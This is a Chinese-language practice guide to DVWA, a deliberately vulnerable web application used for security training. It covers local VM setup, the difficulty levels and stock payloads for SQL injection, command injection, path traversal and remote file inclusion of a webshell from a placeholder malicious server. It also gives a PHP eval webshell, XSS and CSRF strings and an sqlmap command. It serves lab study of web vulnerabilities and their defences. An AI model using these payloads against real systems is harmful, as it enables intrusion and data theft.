本文目录导读:

DVWA(Damn Vulnerable Web Application)是一个合法、开源的渗透测试/网络安全教学平台,它专门设计用来让安全学习者在受控的本地环境中练习常见的Web漏洞。
以下是DVWA的系统化练习指南,从环境搭建到具体漏洞利用步骤。
第一步:环境搭建(最重要的一步)
绝对不要在公网或公司内网部署DVWA。 它充满漏洞,极易被入侵,只在本地虚拟机中练习。
推荐方式:使用虚拟机
-
方案 A:直接下载虚拟机镜像(最简单)
- 下载预先配置好的环境,如 OWASP Broken Web Applications VM 或 PentesterLab,这些自带DVWA。
- 用 VMware/VirtualBox 导入即可。
-
方案 B:手动搭建(推荐,更锻炼环境配置能力)
- 系统: 虚拟机里装一个 Linux(如 Ubuntu Server 或 Kali Linux)。
- 环境: 安装 LAMP 或 WAMP 环境(Linux + Apache + MySQL + PHP)。
- 下载DVWA: 从 GitHub 下载最新版:
git clone https://github.com/digininja/DVWA.git - 配置:
- 复制
config/config.inc.php.dist为config/config.inc.php。 - 修改数据库密码(默认 root 无密码,建议设置一个)。
- 复制
- 启动: 访问
http://你的虚拟机IP/DVWA/setup.php,点击 Create/Reset Database。
第二步:了解难度分级(核心功能)
DVWA 的左侧菜单有 Security Level 选项,这是练习的精髓:
- Low(低): 完全无防护,代码没有任何过滤。适合入门,先理解漏洞原理。
- Medium(中): 有基本过滤(如
mysqli_real_escape_string或简单的黑名单)。适合进阶,学习如何绕过简单防护。 - High(高): 复杂逻辑过滤(如使用
TOKEN、Prepared Statements或强正则)。适合高手,学习高级绕过技术。 - Impossible(不可能): 代码逻辑完全正确,几乎无法攻破。学习目标是: 看代码,理解“如何编写安全代码”。
练习策略: 对于每个漏洞,先做 Low 理解原理,再做 Medium/High 寻找绕过方法。
第三步:按模块逐个击破(核心漏洞列表)
DVWA 左侧菜单列出了所有漏洞,按照以下顺序练习效果较好:
SQL Injection(SQL注入)
- Low: 在用户输入框直接输入
' OR 1=1 --或' UNION SELECT ...。 - Medium: 学习绕过
mysqli_real_escape_string(例如使用双引号或无引号的数字型注入)。 - High: 挑战利用
LIMIT子句或查询结果的多行合并。
Command Injection(命令注入)
- Low: 输入
0.0.1 && whoami或0.0.1 | ls。 - Medium: 尝试绕过字符限制(如 、
&、 被过滤后,使用%0a换行符或 的变种)。
File Inclusion(文件包含)
- Low: 修改
?page=../../../../etc/passwd读取系统文件,或包含远程文件?page=http://恶意服务器/webshell.txt。 - Medium/High: 学习绕过路径限制(如 被过滤时用 或 )。
File Upload(文件上传)
- Low: 直接上传 PHP 一句话木马
<?php @eval($_POST['cmd']);?>。 - Medium: 绕过 MIME 类型检测(用 Burp Suite 抓包,修改
Content-Type: image/jpeg)。 - High: 挑战绕过文件头检测(在图片文件中嵌入PHP代码)。
XSS(跨站脚本)- Reflected(反射型) & Stored(存储型)
- Low: 输入
<script>alert(1)</script>。 - Medium: 在 HTML 标签属性中注入(如
" onclick="alert(1))或使用<img src=1 onerror=alert(1)>绕过<script>过滤。 - High: 学习 DOM-Based XSS 或利用浏览器的解析差异。
CSRF(跨站请求伪造)
- Low: 本地构造一个 HTML 页面,包含一个指向 DVWA 修改密码的请求(
<img src="http://DVWA_ip/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">)。 - Medium/High: 需要结合 XSS 或抓取有效的 Token。
Brute Force(暴力破解)
- Low: 用 Burp Suite 或 Hydra 抓包,对登录框进行字典攻击。
- Medium/High: 应对反暴力破解机制(如 Token 动态变化、CAPTCHA验证码)。
第四步:必备工具与技巧
单纯在浏览器里点来点去效率很低,一定要配合以下工具:
-
Burp Suite(核心工具):
- Proxy: 抓包、改包(修改参数、Cookie、Token)。
- Repeater: 反复发送修改后的请求。
- Intruder: 暴力破解、模糊测试。
-
浏览器开发者工具(F12):
- Network: 查看请求与响应。
- Console: 调试 JavaScript(针对 XSS 或 CSRF 的 Token 提取)。
- Sources: 调试前端代码。
-
SQLMap(辅助工具):
- 当你在 Low 等级下能手工注入后,可以用 SQLMap 来自动化:
sqlmap -u "http://DVWA_IP/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=你的ID" --batch --dbs
- 当你在 Low 等级下能手工注入后,可以用 SQLMap 来自动化:
第五步:解读源代码(终极学习法)
DVWA 最棒的功能是右上角的 View Source 按钮。练习完后一定要看!
- 看 Low 的源码:理解“为什么这代码不安全”。
- 看 Medium 的源码:理解“防御者做了什么,但哪里没做好”。
- 看 High 的源码:理解“更聪明的防御逻辑”。
- 看 Impossible 的源码:这是真正的学习目标——学会如何用参数化查询、CSRF Token、白名单验证等方法来防御。
一个完整的练习流程
假设你在练习 SQL Injection (Low):
- 打开页面,输入
1,看到返回用户 ID。 - 思考:可能是
SELECT * FROM users WHERE id='1'; - 测试:输入
1',报错,确认有注入点。 - 攻击:输入
1' OR '1'='1' --,显示所有用户。 - 升级:输入
1' UNION SELECT 1, user(), database() --,获取数据库用户名和库名。 - 查看源码:发现代码直接拼接字符串,没有任何过滤。
- 切换难度到 Medium,重复上述步骤,发现 被转义了,尝试用
1 OR 1=1#。 - 最终:通过绕过所有难度等级,并理解了 Impossible 级别的正确代码写法。
通过上述步骤,坚持练习完所有模块(Low -> Medium -> High),你的Web安全实战能力会有显著提升。